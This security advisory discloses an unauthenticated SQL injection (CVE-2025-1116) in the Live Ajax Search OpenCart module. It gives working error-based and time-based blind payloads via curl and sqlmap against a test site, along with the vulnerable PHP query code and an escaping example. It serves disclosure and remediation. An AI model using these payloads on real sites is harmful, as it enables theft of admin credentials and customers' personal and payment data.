The Dreamvention Live Ajax Search OpenCart module has a SQL Injection (SQLi) vulnerability.
This allows an unauthenticated attacker to access any and all content stored in the database.
Via the SQLi vulnerability it's possible to compromise the site by exfiltrating admin session details / credentials.
Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.
- 2025-01-02: mcdruid contacts Dreamvention to report vulnerability
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=18983
- https://github.com/Dreamvention/d_ajax_search
- Vulnerable version:
"name": "Live Ajax Search",
"codename": "live_search",
"link": "dreamvention.com",
"license": "GPL",
"version": "1.0.6",
"author": "Dreamvention"
- Previous versions not tested but possibly also vulnerable.
- Only the FREE version has been tested; the PRO version may also be vulnerable.
- Tested with OpenCart 4.0.2.3
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CAPEC-66: SQL Injection
- CAPEC-7: Blind SQL Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: CVE-2025-1116
In the examples below, a simple OpenCart test site has been set up with the Live Search module installed. It is not necessary to configure the site beyond the basic set up wizard.
Example exploit which sends a malicious payload in a GET parameter:
$ curl -si "http://opencart.ddev.site/index.php?route=extension/live_search/module/live_search.searchresults&keyword=foo%27%7C%7C%28SELECT+1+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%28%27%7E%27%2C%28SELECT+VERSION%28%29%29%2C%27%7E%27%2CFLOOR%28RAND%280%29%2A2%29%29x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x%29a%29%7C%7C%27" | grep -oP '~.*?~'
~10.11.10-MariaDB-ubu2204-log~
~',(SELECT VERSION()),'~
Note that no authentication is required. This example uses an error-based vector to extract information from the database.
If the display of errors has been disabled on the site (it seems to be enabled by default), it's possible to use blind SQLi techniques to extract information.
The sqlmap tool ( https://sqlmap.org/ ) enumerates multiple possible attack techniques for this exploit:
$ sqlmap -u 'http://opencart.ddev.site/index.php?route=extension/live_search/module/live_search.searchresults&keyword=foo' -p keyword
---
Parameter: keyword (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: route=extension/live_search/module/live_search.searchresults&keyword=foo'||(SELECT 0x74736473 WHERE 4335=4335 AND (SELECT 2015 FROM(SELECT COUNT(*),CONCAT(0x716b6a7071,(SELECT (ELT(2015=2015,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: route=extension/live_search/module/live_search.searchresults&keyword=foo'||(SELECT 0x414d6667 WHERE 5776=5776 AND (SELECT 1840 FROM (SELECT(SLEEP(5)))YfdA))||'
---
It's possible to use these techniques to dump any information from the database, including the admin user credentials / session details.
public function searchresults(){
if(isset($this->request->get)){
$keyword=$this->request->get['keyword'];
...snip...
if(!empty($params) && $setting1['live_search_status'] == 1){
$result=$this->model_extension_live_search_module_live_search->search($keyword,$params);
public function search($text, $searches = array(), $research=0) {
...snip...
$sql_redirect="SELECT * FROM " . DB_PREFIX . "as_query WHERE text = '" . $text . "'";
$query=$this->db->query($sql_redirect);
OpenCart's database API is very basic and does not employ prepared statements or parameterised inputs to queries.
Therefore modules must appropriately validate all unsafe input which is used to assemble SQL queries.
This is typically done in two ways; either the value is cast to a numeric format, or the database driver's escape method is used.
An example from OpenCart's own code that uses both techniques:
$this->db->query("INSERT INTO `" . DB_PREFIX . "customer_transaction` SET `customer_id` = '" . (int)$customer_id . "', `order_id` = '" . (int)$order_id . "', `description` = '" . $this->db->escape($description) . "', `amount` = '" . (float)$amount . "', `date_added` = NOW()");